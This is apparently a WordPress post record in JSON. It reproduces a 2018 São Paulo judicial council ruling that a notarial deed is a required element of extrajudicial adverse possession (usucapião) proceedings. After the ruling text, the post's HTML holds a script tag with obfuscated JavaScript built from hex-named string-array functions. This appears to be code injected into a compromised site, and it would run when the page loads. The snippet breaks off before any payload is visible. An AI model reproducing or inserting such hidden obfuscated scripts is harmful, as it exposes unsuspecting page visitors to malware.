{"id":256,"date":"2019-03-13T15:30:42","date_gmt":"2019-03-13T18:30:42","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/dje-sp-decisao-sobre-necessidade-de-ata-notarial-para-usucapiao-extrajudicial\/"},"modified":"2019-03-13T15:30:42","modified_gmt":"2019-03-13T18:30:42","slug":"dje-sp-decisao-sobre-necessidade-de-ata-notarial-para-usucapiao-extrajudicial","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/dje-sp-decisao-sobre-necessidade-de-ata-notarial-para-usucapiao-extrajudicial\/","title":{"rendered":"DJE\/SP decis\u00e3o sobre necessidade de ata notarial para usucapi\u00e3o extrajudicial"},"content":{"rendered":"<div class=\"col-md-12 topo_modulo\" style=\"box-sizing: border-box; position: relative; min-height: 1px; background-color: rgb(241, 241, 241); margin-bottom: 20px; color: rgb(41, 90, 95); font-family: &quot;Trebuchet MS&quot;, Helvetica, sans-serif; font-size: 14px; padding: 10px 0px !important;\">\n<h2 style=\"text-align: justify;\"><span style=\"color:#000000\">DJE\/SP: PUBLICADA DECIS&Atilde;O SOBRE NECESSIDADE DE ATA NOTARIAL PARA USUCAPI&Atilde;O EXTRAJUDICIAL<\/span><\/h2>\n<\/div>\n<div class=\"texto_corpo\" style=\"box-sizing: border-box; color: rgb(41, 90, 95); font-family: &quot;Trebuchet MS&quot;, Helvetica, sans-serif; font-size: 14px; text-align: justify;\"><span style=\"color:#000000\"><strong>Apela&ccedil;&atilde;o n&ordm; 1002887-04.2018.8.26.0100<\/strong><\/p>\n<p>Esp&eacute;cie: APELA&Ccedil;&Atilde;O<br \/>\nN&uacute;mero: 1002887-04.2018.8.26.0100<br \/>\nComarca: CAPITAL<\/p>\n<p><strong>PODER JUDICI&Aacute;RIO<\/strong><br \/>\n<strong>TRIBUNAL DE JUSTI&Ccedil;A DO ESTADO DE S&Atilde;O PAULO<\/strong><br \/>\n<strong>CONSELHO SUPERIOR DA MAGISTRATURA<\/strong><br \/>\nApela&ccedil;&atilde;o n&ordm; 1002887-04.2018.8.26.0100<br \/>\n<strong>Registro: 2018.0000876309<\/strong><\/p>\n<p><strong><em>AC&Oacute;RD&Atilde;O<\/em><\/strong><br \/>\nVistos, relatados e discutidos estes autos do(a)&nbsp;<strong>Apela&ccedil;&atilde;o n&ordm; 1002887-04.2018.8.26.0100<\/strong>, da Comarca de&nbsp;<strong>S&atilde;o Paulo<\/strong>, em que s&atilde;o partes s&atilde;o apelantes&nbsp;<strong>ANTONIO DE MELO e NELEY DE MELO<\/strong>, &eacute; apelado&nbsp;<strong>18 CARTORIO DE REGISTRO DE IMOVEIS DA CAPITAL<\/strong>.<\/p>\n<p><strong>ACORDAM,&nbsp;<\/strong>em Conselho Superior de Magistratura do Tribunal de Justi&ccedil;a de S&atilde;o Paulo, proferir a seguinte decis&atilde;o:&nbsp;<strong>&quot;Negaram provimento ao recurso, v.u.&quot;<\/strong>, de conformidade com o voto do Relator, que integra este Ac&oacute;rd&atilde;o.<\/p>\n<p>O julgamento teve a participa&ccedil;&atilde;o dos Exmos. Desembargadores&nbsp;<strong>PEREIRA CAL&Ccedil;AS (PRESIDENTE TRIBUNAL DE JUSTI&Ccedil;A) (Presidente), ARTUR MARQUES (VICE PRESIDENTE), XAVIER DE AQUINO (DECANO), EVARISTO DOS SANTOS(PRES. DA SE&Ccedil;&Atilde;O DE DIREITO P&Uacute;BLICO), CAMPOS MELLO (PRES. DA SE&Ccedil;&Atilde;O DE DIREITO PRIVADO) E FERNANDO TORRES GARCIA(PRES. SE&Ccedil;&Atilde;O DE DIREITO CRIMINAL)<\/strong>.<\/p>\n<p>S&atilde;o Paulo, 30 de outubro de 2018.<br \/>\n<strong>GERALDO FRANCISCO PINHEIRO FRANCO<\/strong><br \/>\n<strong>Corregedor Geral da Justi&ccedil;a e Relator<\/strong><\/p>\n<p><strong>Apela&ccedil;&atilde;o n&ordm; 1002887-04.2018.8.26.0100<\/strong><br \/>\n<strong>Apelantes: Antonio de Melo e Neley de Melo<\/strong><br \/>\n<strong>Apelado: 18 Cart&oacute;rio de Registro de Im&oacute;veis da Capital<\/strong><br \/>\n<strong>VOTO N&ordm; 37.530<\/strong><\/p>\n<p><strong>Registro de Im&oacute;veis &ndash; Usucapi&atilde;o extrajudicial &ndash; Necessidade de instru&ccedil;&atilde;o do requerimento com ata notarial &ndash; Art. 216, inciso I, da Lei n&ordm; 6.015\/73 e art. 4&ordm;, inciso I, do Provimento n&ordm; 65, de 14 de dezembro de 2017, da Corregedoria Nacional de Justi&ccedil;a &ndash; Alega&ccedil;&atilde;o de incompatibilidade da exig&ecirc;ncia formulada com a natureza jur&iacute;dica e a finalidade da ata notarial &ndash; Exig&ecirc;ncia legal e normativa que n&atilde;o pode ser afastada, em procedimento de natureza administrativa, pelos fundamentos apresentados pelo apelante &ndash; D&uacute;vida julgada procedente &ndash; Recurso n&atilde;o provido.<\/strong><\/p>\n<p>Trata-se de apela&ccedil;&atilde;o interposta por Antonio de Melo e Nely de Melo contra r. senten&ccedil;a que manteve a recusa do Sr. 18&ordm; Oficial de Registro de Im&oacute;veis de S&atilde;o Paulo em promover o registro de aquisi&ccedil;&atilde;o da propriedade de im&oacute;vel por usucapi&atilde;o porque o procedimento extrajudicial n&atilde;o foi instru&iacute;do com a ata notarial prevista no art. 216, inciso I, da Lei n&ordm; 6.015\/73.<\/p>\n<p>Os apelantes, nas raz&otilde;es de recurso, tecem coment&aacute;rios sobre a natureza e a finalidade da ata notarial que n&atilde;o seria compat&iacute;vel com o efeito de atestar posse durante o per&iacute;odo da prescri&ccedil;&atilde;o aquisitiva. Asseveram que a exig&ecirc;ncia da ata notarial viola o princ&iacute;pio da economia porque o Conselho Nacional de Justi&ccedil;a n&atilde;o tem compet&ecirc;ncia para a fixa&ccedil;&atilde;o de emolumentos. Requerem: &quot;<em>b) O<\/em>&nbsp;<em>reconhecimento da impossibilidade f&iacute;sica do Tabeli&atilde;o de Notas atestar a posse e<\/em>&nbsp;<em>tempo; c) O reconhecimento da impossibilidade jur&iacute;dica do Tabeli&atilde;o de Notas em<\/em>&nbsp;<em>declarar um direito decorrente de uma situa&ccedil;&atilde;o de fato; d) O reconhecimento da<\/em>&nbsp;<em>disfuncionalidade e desvirtuamento do instituto pelo art. 216-A, inciso I, da Lei n&ordm;<\/em>&nbsp;<em>6.015\/73; e) O reconhecimento da natureza jur&iacute;dica da ata notarial no plano da<\/em>&nbsp;<em>efic&aacute;cia ser considerado um ato-fato jur&iacute;dico. f) O reconhecimento dos pressupostos<\/em>&nbsp;<em>da ata notarial serem a ocorr&ecirc;ncia de um fato presente e a presen&ccedil;a pessoal do<\/em>&nbsp;<em>Tabeli&atilde;o de Notas no mesmo momento; g) O reconhecimento da inexist&ecirc;ncia de<\/em>&nbsp;<em>IMEDIA&Ccedil;&Atilde;O NOTARIAL nas atas notariais pela incompatibilidade com sua<\/em>&nbsp;<em>natureza jur&iacute;dica; h) O reconhecimento da impossibilidade de lavratura de ATA<\/em>&nbsp;<em>NOTARIAL EM SENTIDO ESTRITO no procedimento de usucapi&atilde;o administrativo;<\/em>&nbsp;<em>i) O reconhecimento do dever de julgamento do Oficial de Registro de Im&oacute;veis no<\/em>&nbsp;<em>exame das provas juntadas<\/em>&quot; (fls. 469\/470).<br \/>\nA douta Procuradoria Geral da Justi&ccedil;a opinou pelo n&atilde;o provimento do recurso (fls. 487\/489).<\/p>\n<p><strong><em>&Eacute; o relat&oacute;rio.<\/em><\/strong><\/p>\n<p>Cuida-se de procedimento de reconhecimento extrajudicial de usucapi&atilde;o de im&oacute;vel urbano, processado diretamente perante o Oficial de Registro de Im&oacute;veis, em que fundada a recusa do registro na falta da ata notarial prevista no art. 216, inciso I, da Lei n&ordm; 6.015\/73, assim redigido:<br \/>\n&quot;<strong>Art. 216-A. Sem preju&iacute;zo da via jurisdicional, &eacute; admitido o pedido de reconhecimento extrajudicial de usucapi&atilde;o, que ser&aacute; processado diretamente perante o cart&oacute;rio do registro de im&oacute;veis da comarca em que estiver situado o im&oacute;vel usucapiendo, a requerimento do interessado, representado por advogado, instru&iacute;do com:<\/strong><br \/>\n<strong>I &#8211; ata notarial lavrada pelo tabeli&atilde;o, atestando o tempo de posse do requerente e de seus antecessores, conforme o caso e suas circunst&acirc;ncias, aplicando-se o disposto no art. 384 da Lei n&ordm; 13.105, de 16 de mar&ccedil;o de 2015 (C&oacute;digo de Processo Civil);<\/strong><br \/>\n(&#8230;)&quot;.<br \/>\nPor constituir requisito do procedimento extrajudicial para reconhecimento da aquisi&ccedil;&atilde;o do dom&iacute;nio de im&oacute;vel por usucapi&atilde;o, destinado a atestar o tempo de posse pelo requerente e seus antecessores, a Corregedoria Nacional de Justi&ccedil;a editou o Provimento n&ordm; 65, de 14 de dezembro de 2017, em que disp&otilde;e sobre os elementos que devem constar da ata notarial:<br \/>\n&quot;<strong>Art. 4&ordm; O requerimento ser&aacute; assinado por advogado ou por defensor p&uacute;blico constitu&iacute;do pelo requerente e instru&iacute;do com os seguintes documentos:<\/strong><br \/>\n<strong>I &ndash; ata notarial com a qualifica&ccedil;&atilde;o, endere&ccedil;o eletr&ocirc;nico, domic&iacute;lio e resid&ecirc;ncia do requerente e respectivo c&ocirc;njuge ou companheiro, se houver, e do titular do im&oacute;vel lan&ccedil;ado na matr&iacute;cula objeto da usucapi&atilde;o que ateste:<\/strong><br \/>\n<strong>a) a descri&ccedil;&atilde;o do im&oacute;vel conforme consta na matr&iacute;cula do registro em caso de bem individualizado ou a descri&ccedil;&atilde;o da &aacute;rea em caso de n&atilde;o individualiza&ccedil;&atilde;o, devendo ainda constar as caracter&iacute;sticas do im&oacute;vel, tais como a exist&ecirc;ncia de edifica&ccedil;&atilde;o, de benfeitoria ou de qualquer acess&atilde;o no im&oacute;vel usucapiendo;<\/strong><br \/>\n<strong>b) o tempo e as caracter&iacute;sticas da posse do requerente e de seus antecessores:<\/strong><br \/>\n<strong>c) a forma de aquisi&ccedil;&atilde;o da posse do im&oacute;vel usucapiendo pela parte requerente;<\/strong><br \/>\n<strong>d) a modalidade de usucapi&atilde;o pretendida e sua base legal ou constitucional;<\/strong><br \/>\n<strong>e) o n&uacute;mero de im&oacute;veis atingidos pela pretens&atilde;o aquisitiva e a localiza&ccedil;&atilde;o: se est&atilde;o situados em uma ou em mais circunscri&ccedil;&otilde;es;<\/strong><br \/>\n<strong>f) o valor do im&oacute;vel;<\/strong><br \/>\n<strong>g) outras informa&ccedil;&otilde;es que o tabeli&atilde;o de notas considere necess&aacute;rias &agrave; instru&ccedil;&atilde;o do procedimento, tais como depoimentos de testemunhas ou partes confrontantes;&nbsp;<\/strong>(&#8230;)&quot;.<br \/>\nO recurso interposto, em sua ess&ecirc;ncia, visa o controle da legalidade do art. 216, inciso I, da Lei n&ordm; 6.015\/73 e da norma oriunda da Eg. Corregedoria Nacional de Justi&ccedil;a.<br \/>\nContudo, n&atilde;o se verifica a exist&ecirc;ncia de inconstitucionalidade evidente, nem de antinomia jur&iacute;dica decorrente de incompatibilidade entre as normas que regem a atividade do tabeli&atilde;o de notas a comportar, neste procedimento, a solu&ccedil;&atilde;o de conflito real ou aparente de normas.<br \/>\nAssim porque a exig&ecirc;ncia de apresenta&ccedil;&atilde;o de ata notarial para instruir o requerimento extrajudicial de reconhecimento da aquisi&ccedil;&atilde;o de im&oacute;vel por usucapi&atilde;o decorre de interpreta&ccedil;&atilde;o literal do inciso I do art. 216 da Lei n&ordm; 6.015\/73, sem que exista outra norma que induza solu&ccedil;&atilde;o diversa.<br \/>\nEssa interpreta&ccedil;&atilde;o n&atilde;o se afasta pela finalidade da ata notarial atestar: &quot;&#8230;<strong>o tempo de posse do requerente e de seus antecessores,<\/strong>&nbsp;<strong>conforme o caso e suas circunst&acirc;ncias<\/strong>&#8230;&quot;, pois s&atilde;o as provas sobre o tempo de posse que dever&atilde;o ser indicadas segundo o que for apurado pelo Tabeli&atilde;o de Notas em conformidade com o caso concreto e as circunst&acirc;ncias que identificar como elementos de caracteriza&ccedil;&atilde;o do seu exerc&iacute;cio.<br \/>\nPortanto, dessa norma n&atilde;o se extrai a conclus&atilde;o de que a ata notarial somente &eacute; necess&aacute;ria nos casos em que n&atilde;o forem produzidas outras provas suficientes para o reconhecimento da aquisi&ccedil;&atilde;o do dom&iacute;nio pela usucapi&atilde;o.<br \/>\nAo contr&aacute;rio, a ata notarial constitui requisito essencial do requerimento administrativo de reconhecimento da aquisi&ccedil;&atilde;o de im&oacute;vel por usucapi&atilde;o porque assim previsto em lei, e para que atenda essa finalidade o art. 4&ordm;, inciso I, al&iacute;neas &quot;a&quot; a &quot;g&quot;, do Provimento n&ordm; 65\/2017, da Corregedoria Nacional de Justi&ccedil;a, especifica os requisitos m&iacute;nimos que devem ser observados em sua lavratura.<br \/>\nTamb&eacute;m n&atilde;o se constata a exist&ecirc;ncia de incongru&ecirc;ncia entre a obrigatoriedade e a finalidade dessa ata notarial com o previsto no art. 384 do C&oacute;digo de Processo Civil:<br \/>\n&quot;<strong>Se&ccedil;&atilde;o III<\/strong><br \/>\n<strong>Da Ata Notarial<\/strong><br \/>\n<strong>Art. 384. A exist&ecirc;ncia e o modo de existir de algum fato podem ser atestados ou documentados, a requerimento do interessado, mediante ata lavrada por tabeli&atilde;o.<\/strong><br \/>\n<strong>Par&aacute;grafo &uacute;nico. Dados representados por imagem ou som gravados em arquivos eletr&ocirc;nicos poder&atilde;o constar da ata notarial<\/strong>&quot;.<br \/>\nA atribui&ccedil;&atilde;o do Tabeli&atilde;o de Notas para lavrar escrituras p&uacute;blicas em geral, e atas notariais de forma espec&iacute;fica, est&aacute; prevista no art. 7&ordm;, e incisos, da Lei n&ordm; 8.935\/94 que n&atilde;o delimita os elementos de um ou de outro desses atos notariais.<br \/>\nBem por isso, para a solu&ccedil;&atilde;o da d&uacute;vida &eacute; irrelevante verificar se a ata notarial prevista no art. 216, inciso I, da Lei n&ordm; 6.015\/73 cont&eacute;m elementos puros de ato dessa natureza, ou se nela ser&atilde;o mesclados elementos pr&oacute;prios de escritura p&uacute;blica com finalidade diversa, pois em ambos se encontram presentes a exig&ecirc;ncia do instrumento p&uacute;blico e o respeito &agrave; compet&ecirc;ncia exclusiva do Tabeli&atilde;o de Notas.<br \/>\nN&atilde;o se acolhem, em consequ&ecirc;ncia, a pretens&atilde;o de reconhecimento de que a natureza jur&iacute;dica da ata notarial e os pressupostos para sua lavratura s&atilde;o dissonantes da finalidade prevista no art. 216, inciso I, da Lei n&ordm; 6.015\/73.<br \/>\nPor iguais raz&otilde;es afasta-se a alega&ccedil;&atilde;o de que a ata notarial na forma como exigida seria incompat&iacute;vel com a natureza dessa esp&eacute;cie de ato que tem por finalidade conter a narrativa dos fatos presenciados pelo Tabeli&atilde;o de Notas, sem a sua interven&ccedil;&atilde;o no desenvolvimento desses fatos e nas manifesta&ccedil;&otilde;es de vontades que forem manifestadas em sua presen&ccedil;a.<br \/>\nReitero, neste ponto, que o art. 216, inciso I, da Lei n&ordm; 6.015\/73 permite claro entendimento do conte&uacute;do que deve ser contido na ata notarial a que se refere, raz&atilde;o pela qual o ato a ser lavrado pelo Tabeli&atilde;o de Notas deve observar esses requisitos independentemente da denomina&ccedil;&atilde;o que se lhe atribua.<br \/>\nRejeitam-se, pois, as pretens&otilde;es de reconhecimento da inexist&ecirc;ncia de imedia&ccedil;&atilde;o notarial nas atas notariais pela incompatibilidade com sua natureza jur&iacute;dica e de reconhecimento da impossibilidade de lavratura de ata notarial em sentido estrito para instruir o procedimento de usucapi&atilde;o extrajudicial (fls. 470).<br \/>\nAo prever a via extrajudicial para o reconhecimento da aquisi&ccedil;&atilde;o de dom&iacute;nio de im&oacute;vel por usucapi&atilde;o a atual legisla&ccedil;&atilde;o afastou anterior obrigatoriedade de a&ccedil;&atilde;o de natureza contenciosa e inovou ao prever a necessidade de ata notarial destinada a instruir procedimento que tem curso perante Oficial de Registro de Im&oacute;veis, o que fez por considerar necess&aacute;ria a f&eacute; p&uacute;blica notarial no ato que &eacute; atribu&iacute;do ao Tabeli&atilde;o de Notas.<br \/>\nE o Oficial de Registro de Im&oacute;veis, em atividade de natureza administrativa, n&atilde;o pode afastar requisitos legais e normativos sob o fundamento de que lhe compete qualificar de forma exaustiva os documentos que formam o t&iacute;tulo levado &agrave; registro.<br \/>\nPortanto, em outros termos, n&atilde;o pode o Oficial de Registro de Im&oacute;veis afastar a apresenta&ccedil;&atilde;o da ata notarial, que &eacute; requisito legal do procedimento extrajudicial de reconhecimento da aquisi&ccedil;&atilde;o de dom&iacute;nio de im&oacute;vel por usucapi&atilde;o, sob o fundamento de que outros documentos, embora n&atilde;o dotados de f&eacute; p&uacute;blica notarial, supririam essa exig&ecirc;ncia.<br \/>\nEm raz&atilde;o da expressa previs&atilde;o legal dos requisitos do procedimento extrajudicial de usucapi&atilde;o, eventual recusa da apresenta&ccedil;&atilde;o de um dos documentos previstos em lei somente poder&aacute; ser contornada mediante recurso &agrave;s vias ordin&aacute;rias, ou seja, &agrave; a&ccedil;&atilde;o jurisdicional para a declara&ccedil;&atilde;o da aquisi&ccedil;&atilde;o do dom&iacute;nio do im&oacute;vel pela usucapi&atilde;o.<br \/>\nPor sua vez, e ainda considerando a finalidade e a natureza do ato notarial previsto no art. 216, inciso I, da Lei n&ordm; 6.015\/73, n&atilde;o h&aacute; como reconhecer a impossibilidade f&iacute;sica do Tabeli&atilde;o de Notas obter as informa&ccedil;&otilde;es necess&aacute;rias &agrave; lavratura da ata notarial que s&atilde;o as previstas no art. 4&ordm;, inciso I, al&iacute;neas &quot;a&quot; a &quot;g&quot;, do Provimento n&ordm; 65\/2017 da Corregedoria Nacional de Justi&ccedil;a.<br \/>\nAfasta-se, igualmente, a alega&ccedil;&atilde;o de impossibilidade jur&iacute;dica do Tabeli&atilde;o de Notas em declarar direito que decorreria de situa&ccedil;&atilde;o de fato.<br \/>\nO inciso I do art. 216 da Lei n&ordm; 6.015\/73 n&atilde;o atribui ao Tabeli&atilde;o de Notas a declara&ccedil;&atilde;o do direito ao reconhecimento da aquisi&ccedil;&atilde;o do dom&iacute;nio do im&oacute;vel pela usucapi&atilde;o, mas somente a identifica&ccedil;&atilde;o e descri&ccedil;&atilde;o dos fatos nele previstos, com atendimento da regulamenta&ccedil;&atilde;o promovida pela autoridade competente (art. 30, inciso XIV, da Lei n&ordm; 8.935\/94).<br \/>\nPor iguais motivos, e porque decorrente de previs&atilde;o legal, n&atilde;o h&aacute; que se falar em aus&ecirc;ncia de funcionalidade e desvirtuamento do instituto pela exig&ecirc;ncia da ata notarial como requisito do procedimento extrajudicial de reconhecimento da aquisi&ccedil;&atilde;o de im&oacute;vel por usucapi&atilde;o.<br \/>\nPor fim, o procedimento de d&uacute;vida n&atilde;o se mostra adequado para a discuss&atilde;o sobre a incid&ecirc;ncia de emolumentos pela lavratura de ata notarial diante da compet&ecirc;ncia atribu&iacute;da &agrave; Corregedoria Geral da Justi&ccedil;a pelos arts. 29 e 30 da Lei Estadual n&ordm; 11.331\/2002 e porque, ademais, neste procedimento n&atilde;o se discute sobre os valores efetivamente cobrados pela lavratura de ata, mas a recusa dos apelantes em apresent&aacute;-la ao Oficial de Registro de Im&oacute;veis.<br \/>\nAnte o exposto, pelo meu voto nego provimento ao recurso.<\/p>\n<p><strong>GERALDO FRANCISCO PINHEIRO FRANCO<\/strong><br \/>\n<strong>Corregedor Geral da Justi&ccedil;a e Relator&nbsp;<\/strong>(DJe de 06.03.2019 &#8211; SP)<\/span><\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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